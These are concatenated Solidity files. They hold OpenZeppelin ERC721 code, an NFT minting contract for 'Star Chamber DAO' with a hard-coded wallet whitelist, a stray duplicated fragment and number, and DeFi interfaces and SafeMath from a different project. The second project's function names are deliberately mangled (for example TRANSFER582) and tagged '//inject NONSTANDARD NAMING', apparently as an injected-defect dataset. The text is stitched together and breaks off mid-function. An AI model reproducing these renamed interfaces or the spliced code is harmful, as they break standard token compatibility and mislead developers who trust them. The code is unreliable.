restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/scdao.sol // Project: Star Chamber DAO NFT // Author: Π˜Π·ΠΎΡ‚ΠΎΠΏΠΈ - "Наша Ρ™ΡƒΠ±Π°Π² јС Π²Ρ˜Π΅Ρ‡Π½Π°. 21110201." // ****************************************************************************************************************************** // *************************************************** Start of Main Contract *************************************************** // ****************************************************************************************************************************** pragma solidity ^0.8.0; contract SCDAO is ERC721Enumerable, Ownable { using Counters for Counters.Counter; using Strings for uint256; // Primary Settings uint256 public constant maxTokens = 100; // Maximum supply. uint public constant PRICE = 0.3 ether; // Current price = 0.3 ETH. uint256 public PURCHASE_LIMIT = 2; // Per Wallet mint limit. uint256 public PublicSaleMaxMint = 1; // Public Sale mint limit. uint256 public WhiteListMaxMint = 2; // Pre Sale mint limit. string private _contractURI = "ipfs://Qmd9jh4M87mPyDsNXQGukK5u8TNb9hsPr8c2iFk6DtcdAU/"; // Pre-reveal .json metadata. string private _tokenBaseURI = "ipfs://Qmd9jh4M87mPyDsNXQGukK5u8TNb9hsPr8c2iFk6DtcdAU/"; // Post-reveal .json metadata. bool public revealed; // Initial reveal status false. mapping(address => bool) private _WhiteList; mapping(address => uint256) private _WhiteListClaimed; enum State {NoSale, Presale, PublicSale} // Contract status. State public saleState; Counters.Counter private _publicSCDAO; // Initalize contract. constructor( string memory _name, string memory _symbol ) ERC721(_name, _symbol){ _publicSCDAO.increment(); saleState = State.NoSale; _WhiteList[0x411Ca81c33A02e181Aa4534abEE62Bd55895Ad7b]=true; _WhiteList[0xfAD941DC8cb86eCC112E717AE3EC38b3023e4c4C]=true; _WhiteList[0xC63e77B019E308d1C44b9771a8a28167e6de30ec]=true; _WhiteList[0x04BEb13d3fbC35d48ac7C1a71690931Ea330f41f]=true; _WhiteList[0x2884d01A4915B05f23084DD210b57f57f1A81eeD]=true; _WhiteList[0xeFD9EaDD0cAE4973195333C9270Bf2C6CecCAD85]=true; _WhiteList[0x59891E64C54E4fC96927d26090377a5A3504b49B]=true; _WhiteList[0x3efEA80c8d3827160cbd23c8AF4C77EB408578ac]=true; _WhiteList[0xc0f4b2D44D36E588d87981b3bE39EEf2D44dE4ae]=true; _WhiteList[0x2283195B491A4413Fb76FFd6243d33b87C2003fc]=true; _WhiteList[0x2D8d16721eDb851e076616fcd59E0dFbbc607A4f]=true; _WhiteList[0xe7Cb26f13cA7876b368A837EE17696EceDda1182]=true; _WhiteList[0xceAB4bcd42B18588836f3962AA785E7CA88c5838]=true; _WhiteList[0x4bEe51A0236BB79C3f21ef24470a66b9490c1928]=true; _WhiteList[0x96f3b156dCB5B2bdB8C4CB793d85AF6ac7E5DEcE]=true; _WhiteList[0xa8265836b6f0C7e90d62aa3C2ba4f5F1d197307C]=true; _WhiteList[0x6Bb0b9FDA26418af2831FF3a26049e9F7Ce37A47]=true; _WhiteList[0x78D3cE60a4d803268AFeAD2d3aaD5B6C6e8AF3Aa]=true; _WhiteList[0x11a6bF219544bE24a77121e1EcaD01A7CA10D09D]=true; _WhiteList[0xe0D84A7bcCBE2fAd2aa5Fde1047E81D65606F2A0]=true; _WhiteList[0x091f3B40936d0df412e0606892E34a324aE86F83]=true; _WhiteList[0xAaC46C32E84da0a13629B4d59292B0b53a3eb695]=true; _WhiteList[0x1C94a99Dd48B251cCb529a23c055CabD6F057e76]=true; _WhiteList[0xff0e16F7995d049E307223261BdE011a339A3E6A]=true; _WhiteList[0x2526B26D31500d8D7711b80e22a9F48D2142a2eF]=true; _WhiteList[0x7Cdc685adA9a074ceC9a761173ec28d418206AB5]=true; _WhiteList[0x3e44938A81fb0DD0379985F019e0833F5ED279DA]=true; _WhiteList[0xa35B5e6D3A913ce3845F8F24a5e93a9E51d6e76C]=true; _WhiteList[0x30DB7a96E9b32c35b9D9caF4491f4e39B354f274]=true; _WhiteList[0x80eA679f52D527c0bFc89E2C9be958D838bf2157]=true; _WhiteList[0x95D3a3C78020Bbae4658DF09f71511D4f402e4ED]=true; _WhiteList[0x98E26214667592Ae8b92c35b4C04F189069a8A5f]=true; _WhiteList[0x36Ba357C27c999fc0a686a6B5B553f134C770A9d]=true; _WhiteList[0xD679B64eBFe72d501E7d66f5B572fc1EFCc399D9]=true; _WhiteList[0xCd687d24Fb957d403B44dC40A26bCC21E2DadeD7]=true; _WhiteList[0x3f6eD0F870520b08D0D6bE73430c6DA9997747FF]=true; _WhiteList[0x4955Fd9959d4B26e0AB22953652AF21d97CE8310]=true; _WhiteList[0x73D396a8A851f93D989E127a4F411A682640B7bc]=true; _WhiteList[0xa03F563F22b09d6aBf68eC89B1784654682f1930]=true; _WhiteList[0x641C6C7168F5A678bAF5F1b2141f71FDef27a82e]=true; _WhiteList[0xe12D731750E222eC53b001E00d978901B134CFC9]=true; _WhiteList[0x7375Ca5219408A75966C1565E517D05bd2BBCB46]=true; _WhiteList[0x7598356c8F70Aec7e5bb3A49DFC988FB6b208B45]=true; _WhiteList[0x963Fa2F4d38ab13bAEB6ce7433b620E636B1E511]=true; _WhiteList[0x4ad5c87ec83F71603BDe4e71686C7CE4E354b83c]=true; _WhiteList[0x55e390BA832B062fD369C9C6F4717B13Cff3d59b]=true; _WhiteList[0xb9550D222AAB2751D3384b28f7ef2062bc64dAe9]=true; _WhiteList[0xfd45B7f5428Fb114305fbC40972deE6Ab4C0002c]=true; _WhiteList[0x1bC79d11b99a71Ad7d586Ea4cD6513609D2c374b]=true; _WhiteList[0x47668a9A8f3004A0f07CdC346a7020ca4010B602]=true; _WhiteList[0xbF8d494C35BB50BFF3aCE7129Cc718928fc5BE60]=true; _WhiteList[0xD0d8c68d5B9e45Cc6a74abB5A5234a6330a45b0B]=true; _WhiteList[0x58F4Ee50A924244A18041bCbc529f9B2376306a1]=true; _WhiteList[0x4eB043D6Bd3D8DeEE60D12C9C87f23f4BA5c98C5]=true; _WhiteList[0x020f45082E99E4aef3cfaE89A341F9e5E6fAc3Bb]=true; _WhiteList[0x832F4f4f88ab27a00b7683C9b5Fc191e797187F3]=true; _WhiteList[0xbB3fb86Ae33Cee705E5ee52A72fcdEC87A9d9233]=true; _WhiteList[0xA2b1861a76d25A308E5aC5be72136fc892aD8D97]=true; _WhiteList[0xEE51DFBB440224B999bed3BF135Eba5c14F3A027]=true; _WhiteList[0x77e96e34A71F97D39600860FdBc939EAd4A2AFc4]=true; _WhiteList[0xe0D84A7bcCBE2fAd2aa5Fde1047E81D65606F2A0]=true; _WhiteList[0xD5a10C5f957cE8A0686F41CffC57Df219b72797d]=true; _WhiteList[0x7E45bf7Bc3FF86785d2741C11EB8f5D914647257]=true; _WhiteList[0x69b384d61D477D93624A2E90aAB2Dd1BC22b9698]=true; _WhiteList[0x52419168b03823EfDFE2a123E66e6976fAbe27C6]=true; _WhiteList[0x433e55070d0f5097307384f1aB09BBa49a3d6399]=true; _WhiteList[0x22e5841a95b312fA0A92CDB83E663dA80A7422A0]=true; } receive() payable external {} fallback() payable external {} // ****************************************************************************************************************************** // **************************************************** Setters and Getters **************************************************** // ****************************************************************************************************************************** // Set Pre-reveal .json metadata. function setContractURI(string memory URI) external onlyOwner { _contractURI = URI; } // Set Post-reveal .json metadata. function setBaseURI(string memory URI) external onlyOwner { _tokenBaseURI = URI; } // Set Status Presale. function switchToPresale() external { address ow = owner(); require(msg.sender == ow, "Error: Only available for the Owner of the Contract"); saleState = State.Presale; } // Set Status Public Sale. function switchToPublicSale() external { address ow = owner(); require(msg.sender == ow, "Error: Only available for the Owner of the Contract"); saleState = State.PublicSale; } // Set Status No Sale (default). function switchToNoSale() external { address ow = owner(); require(msg.sender == ow, "Error: Only available for the Owner of the Contract"); saleState = State.NoSale; } // Set White List Max Mint Amount. function setWhiteListMaxMint(uint256 maxMint) external onlyOwner { WhiteListMaxMint = maxMint; } // Add White List address. Use format ["0x000000000000000000000000000000000000dEaD"]. function addToWhiteList(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { require(addresses[i] != address(0), "Error: Can not add a null address."); _WhiteList[addresses[i]] = true; } } // Return White Listed Claimed. function WhiteListClaimedBy(address owner) external view returns (uint256){ require(owner != address(0), "Error: Address is not on the White List."); return _WhiteListClaimed[owner]; } // Return White List address. function onWhiteList(address addr) external view returns (bool) { return _WhiteList[addr]; } // Remove White List address. Use format ["0x000000000000000000000000000000000000dEaD"]. function removeFromWhiteList(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { require(addresses[i] != address(0), "Error: Can not remove a null address."); _WhiteList[addresses[i]] = false; } } // Return Pre-reveal URI with apended contract.json. function contractURI() public view returns (string memory) { return string(abi.encodePacked(_contractURI,"contract.json")); } // Return Post-reveal URI with apended .json. function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require(_exists(tokenId), "Error: Token ID does not exist."); if(revealed == false) { return contractURI(); } return string(abi.encodePacked(_tokenBaseURI, tokenId.toString(), ".json")); } // Set revealed status: revealed. function reveal() public onlyOwner() { revealed = true; } // Set revealed status: unrevealed. function unreveal() public onlyOwner() { revealed = false; } // Allow contract owner withdrawl. function withdraw() external onlyOwner returns (bool success) { ( success, ) = msg.sender.call{value: address(this).balance}(""); return success; } // ****************************************************************************************************************************** // *************************************************** Minting Functionality *************************************************** // ****************************************************************************************************************************** // Allow contract owner to mint. function ownerMint(uint256 numberOfTokens) external payable onlyOwner { require(_publicSCDAO.current() <= 100, "Error: Purchase would exceed the total supply."); for (uint256 i = 0; i < numberOfTokens; i++) { uint256 tokenId = _publicSCDAO.current(); if (_publicSCDAO.current() <= maxTokens) { _publicSCDAO.increment(); _mint(msg.sender, tokenId); } } } // Allow White Listed users to mint if Pre-sale state is set. function purchaseWhiteList(uint256 numberOfTokens) external payable { require(saleState != State.NoSale, "Error: Presale is not active."); require(balanceOf(msg.sender) + numberOfTokens <= PURCHASE_LIMIT, "Error: The maximum NFT's per wallet is 2."); require(_WhiteList[msg.sender], "Error: Current address is not White Listed."); require(_WhiteListClaimed[msg.sender] + numberOfTokens <= WhiteListMaxMint, "Error: The maximum White List allocation is 2."); require(PRICE * numberOfTokens <= msg.value, "Error: Submited ETH amount is insufficient."); for (uint256 i = 0; i < numberOfTokens; i++) { uint256 tokenId = _publicSCDAO.current(); if (_publicSCDAO.current() <= maxTokens) { _publicSCDAO.increment(); _WhiteListClaimed[msg.sender]++; _mint(msg.sender, tokenId); } } } // Allow general public to mint if Public Sale state is set. function purchase(uint256 numberOfTokens) external payable { require(saleState == State.PublicSale, "Error: Public sale is not active."); require(balanceOf(msg.sender) + numberOfTokens <= PURCHASE_LIMIT, "Error: The maximum NFT's per wallet is 2."); require(numberOfTokens <= PublicSaleMaxMint, "Error: The maximum Public Sale allocation per transaction is 1."); require(PRICE * numberOfTokens <= msg.value, "Error: Submited ETH amount is insufficient."); for (uint256 i = 0; i < numberOfTokens; i++) { uint256 tokenId = _publicSCDAO.current(); if (_publicSCDAO.current() <= maxTokens) { _publicSCDAO.increment(); _mint(msg.sender, tokenId); } } } }
Add White List address. Use format ["0x000000000000000000000000000000000000dEaD"].
function addToWhiteList(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { require(addresses[i] != address(0), "Error: Can not add a null address."); _WhiteList[addresses[i]] = true; } }
5,741,726
// File: contracts/interfaces/IDelegable.sol pragma solidity ^0.6.10; interface IDelegable { function ADDDELEGATE653(address) external; //inject NONSTANDARD NAMING function ADDDELEGATEBYSIGNATURE882(address, address, uint, uint8, bytes32, bytes32) external; //inject NONSTANDARD NAMING } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; interface IERC20 { function TOTALSUPPLY521() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF833(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER582(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE506(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE147(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM451(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER75(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL533(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IVat.sol pragma solidity ^0.6.10; interface IVat { // function can(address, address) external view returns (uint); function HOPE952(address) external; //inject NONSTANDARD NAMING function NOPE303(address) external; //inject NONSTANDARD NAMING function LIVE610() external view returns (uint); //inject NONSTANDARD NAMING function ILKS57(bytes32) external view returns (uint, uint, uint, uint, uint); //inject NONSTANDARD NAMING function URNS490(bytes32, address) external view returns (uint, uint); //inject NONSTANDARD NAMING function GEM988(bytes32, address) external view returns (uint); //inject NONSTANDARD NAMING // function dai(address) external view returns (uint); function FROB42(bytes32, address, address, address, int, int) external; //inject NONSTANDARD NAMING function FORK314(bytes32, address, address, int, int) external; //inject NONSTANDARD NAMING function MOVE289(address, address, uint) external; //inject NONSTANDARD NAMING function FLUX433(bytes32, address, address, uint) external; //inject NONSTANDARD NAMING } // File: contracts/interfaces/IWeth.sol pragma solidity ^0.6.10; interface IWeth { function DEPOSIT338() external payable; //inject NONSTANDARD NAMING function WITHDRAW817(uint) external; //inject NONSTANDARD NAMING function APPROVE147(address, uint) external returns (bool) ; //inject NONSTANDARD NAMING function TRANSFER582(address, uint) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM451(address, address, uint) external returns (bool); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IGemJoin.sol pragma solidity ^0.6.10; interface IGemJoin { function RELY66(address usr) external; //inject NONSTANDARD NAMING function DENY577(address usr) external; //inject NONSTANDARD NAMING function CAGE307() external; //inject NONSTANDARD NAMING function JOIN369(address usr, uint WAD) external; //inject NONSTANDARD NAMING function EXIT932(address usr, uint WAD) external; //inject NONSTANDARD NAMING } // File: contracts/interfaces/IDaiJoin.sol pragma solidity ^0.6.10; interface IDaiJoin { function RELY66(address usr) external; //inject NONSTANDARD NAMING function DENY577(address usr) external; //inject NONSTANDARD NAMING function CAGE307() external; //inject NONSTANDARD NAMING function JOIN369(address usr, uint WAD) external; //inject NONSTANDARD NAMING function EXIT932(address usr, uint WAD) external; //inject NONSTANDARD NAMING } // File: contracts/interfaces/IPot.sol pragma solidity ^0.6.10; interface IPot { function CHI612() external view returns (uint256); //inject NONSTANDARD NAMING function PIE445(address) external view returns (uint256); // Not a function, but a public variable. //inject NONSTANDARD NAMING function RHO514() external returns (uint256); //inject NONSTANDARD NAMING function DRIP65() external returns (uint256); //inject NONSTANDARD NAMING function JOIN369(uint256) external; //inject NONSTANDARD NAMING function EXIT932(uint256) external; //inject NONSTANDARD NAMING } // File: contracts/interfaces/IChai.sol pragma solidity ^0.6.10; interface IChai { function BALANCEOF833(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER582(address dst, uint wad) external returns (bool); //inject NONSTANDARD NAMING function MOVE289(address src, address dst, uint wad) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM451(address src, address dst, uint wad) external returns (bool); //inject NONSTANDARD NAMING function APPROVE147(address usr, uint wad) external returns (bool); //inject NONSTANDARD NAMING function DAI858(address usr) external returns (uint wad); //inject NONSTANDARD NAMING function JOIN369(address dst, uint wad) external; //inject NONSTANDARD NAMING function EXIT932(address src, uint wad) external; //inject NONSTANDARD NAMING function DRAW289(address src, uint wad) external; //inject NONSTANDARD NAMING function PERMIT233(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING function NONCES538(address account) external view returns (uint256); //inject NONSTANDARD NAMING } // File: contracts/interfaces/ITreasury.sol pragma solidity ^0.6.10; interface ITreasury { function DEBT715() external view returns(uint256); //inject NONSTANDARD NAMING function SAVINGS903() external view returns(uint256); //inject NONSTANDARD NAMING function PUSHDAI613(address user, uint256 dai) external; //inject NONSTANDARD NAMING function PULLDAI166(address user, uint256 dai) external; //inject NONSTANDARD NAMING function PUSHCHAI91(address user, uint256 chai) external; //inject NONSTANDARD NAMING function PULLCHAI479(address user, uint256 chai) external; //inject NONSTANDARD NAMING function PUSHWETH634(address to, uint256 weth) external; //inject NONSTANDARD NAMING function PULLWETH548(address to, uint256 weth) external; //inject NONSTANDARD NAMING function SHUTDOWN178() external; //inject NONSTANDARD NAMING function LIVE610() external view returns(bool); //inject NONSTANDARD NAMING function VAT519() external view returns (IVat); //inject NONSTANDARD NAMING function WETH278() external view returns (IWeth); //inject NONSTANDARD NAMING function DAI858() external view returns (IERC20); //inject NONSTANDARD NAMING function DAIJOIN173() external view returns (IDaiJoin); //inject NONSTANDARD NAMING function WETHJOIN654() external view returns (IGemJoin); //inject NONSTANDARD NAMING function POT408() external view returns (IPot); //inject NONSTANDARD NAMING function CHAI326() external view returns (IChai); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IERC2612.sol // Code adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237/ pragma solidity ^0.6.0; interface IERC2612 { function PERMIT233(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING function NONCES538(address owner) external view returns (uint256); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IFYDai.sol pragma solidity ^0.6.10; interface IFYDai is IERC20, IERC2612 { function ISMATURE431() external view returns(bool); //inject NONSTANDARD NAMING function MATURITY388() external view returns(uint); //inject NONSTANDARD NAMING function CHI0242() external view returns(uint); //inject NONSTANDARD NAMING function RATE0398() external view returns(uint); //inject NONSTANDARD NAMING function CHIGROWTH747() external view returns(uint); //inject NONSTANDARD NAMING function RATEGROWTH408() external view returns(uint); //inject NONSTANDARD NAMING function MATURE589() external; //inject NONSTANDARD NAMING function UNLOCKED182() external view returns (uint); //inject NONSTANDARD NAMING function MINT176(address, uint) external; //inject NONSTANDARD NAMING function BURN250(address, uint) external; //inject NONSTANDARD NAMING function FLASHMINT22(uint, bytes calldata) external; //inject NONSTANDARD NAMING function REDEEM906(address, address, uint256) external returns (uint256); //inject NONSTANDARD NAMING // function transfer(address, uint) external returns (bool); // function transferFrom(address, address, uint) external returns (bool); // function approve(address, uint) external returns (bool); } // File: contracts/interfaces/IController.sol pragma solidity ^0.6.10; interface IController is IDelegable { function TREASURY445() external view returns (ITreasury); //inject NONSTANDARD NAMING function SERIES14(uint256) external view returns (IFYDai); //inject NONSTANDARD NAMING function SERIESITERATOR268(uint256) external view returns (uint256); //inject NONSTANDARD NAMING function TOTALSERIES702() external view returns (uint256); //inject NONSTANDARD NAMING function CONTAINSSERIES982(uint256) external view returns (bool); //inject NONSTANDARD NAMING function POSTED950(bytes32, address) external view returns (uint256); //inject NONSTANDARD NAMING function DEBTFYDAI447(bytes32, uint256, address) external view returns (uint256); //inject NONSTANDARD NAMING function DEBTDAI877(bytes32, uint256, address) external view returns (uint256); //inject NONSTANDARD NAMING function TOTALDEBTDAI51(bytes32, address) external view returns (uint256); //inject NONSTANDARD NAMING function ISCOLLATERALIZED839(bytes32, address) external view returns (bool); //inject NONSTANDARD NAMING function INDAI269(bytes32, uint256, uint256) external view returns (uint256); //inject NONSTANDARD NAMING function INFYDAI474(bytes32, uint256, uint256) external view returns (uint256); //inject NONSTANDARD NAMING function ERASE227(bytes32, address) external returns (uint256, uint256); //inject NONSTANDARD NAMING function SHUTDOWN178() external; //inject NONSTANDARD NAMING function POST95(bytes32, address, address, uint256) external; //inject NONSTANDARD NAMING function WITHDRAW817(bytes32, address, address, uint256) external; //inject NONSTANDARD NAMING function BORROW691(bytes32, uint256, address, address, uint256) external; //inject NONSTANDARD NAMING function REPAYFYDAI426(bytes32, uint256, address, address, uint256) external returns (uint256); //inject NONSTANDARD NAMING function REPAYDAI460(bytes32, uint256, address, address, uint256) external returns (uint256); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IDai.sol pragma solidity ^0.6.10; interface IDai is IERC20 { function NONCES538(address user) external view returns (uint256); //inject NONSTANDARD NAMING function PERMIT233(address holder, address spender, uint256 nonce, uint256 expiry, //inject NONSTANDARD NAMING bool allowed, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/interfaces/IPool.sol pragma solidity ^0.6.10; interface IPool is IDelegable, IERC20, IERC2612 { function DAI858() external view returns(IERC20); //inject NONSTANDARD NAMING function FYDAI600() external view returns(IFYDai); //inject NONSTANDARD NAMING function GETDAIRESERVES173() external view returns(uint128); //inject NONSTANDARD NAMING function GETFYDAIRESERVES833() external view returns(uint128); //inject NONSTANDARD NAMING function SELLDAI400(address from, address to, uint128 daiIn) external returns(uint128); //inject NONSTANDARD NAMING function BUYDAI253(address from, address to, uint128 daiOut) external returns(uint128); //inject NONSTANDARD NAMING function SELLFYDAI226(address from, address to, uint128 fyDaiIn) external returns(uint128); //inject NONSTANDARD NAMING function BUYFYDAI675(address from, address to, uint128 fyDaiOut) external returns(uint128); //inject NONSTANDARD NAMING function SELLDAIPREVIEW300(uint128 daiIn) external view returns(uint128); //inject NONSTANDARD NAMING function BUYDAIPREVIEW913(uint128 daiOut) external view returns(uint128); //inject NONSTANDARD NAMING function SELLFYDAIPREVIEW69(uint128 fyDaiIn) external view returns(uint128); //inject NONSTANDARD NAMING function BUYFYDAIPREVIEW685(uint128 fyDaiOut) external view returns(uint128); //inject NONSTANDARD NAMING function MINT176(address from, address to, uint256 daiOffered) external returns (uint256); //inject NONSTANDARD NAMING function BURN250(address from, address to, uint256 tokensBurned) external returns (uint256, uint256); //inject NONSTANDARD NAMING } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; library SafeMath { function ADD958(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB494(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB494(a, b, "SafeMath: subtraction overflow"); } function SUB494(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL434(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV16(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV16(a, b, "SafeMath: division by zero"); } function DIV16(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return 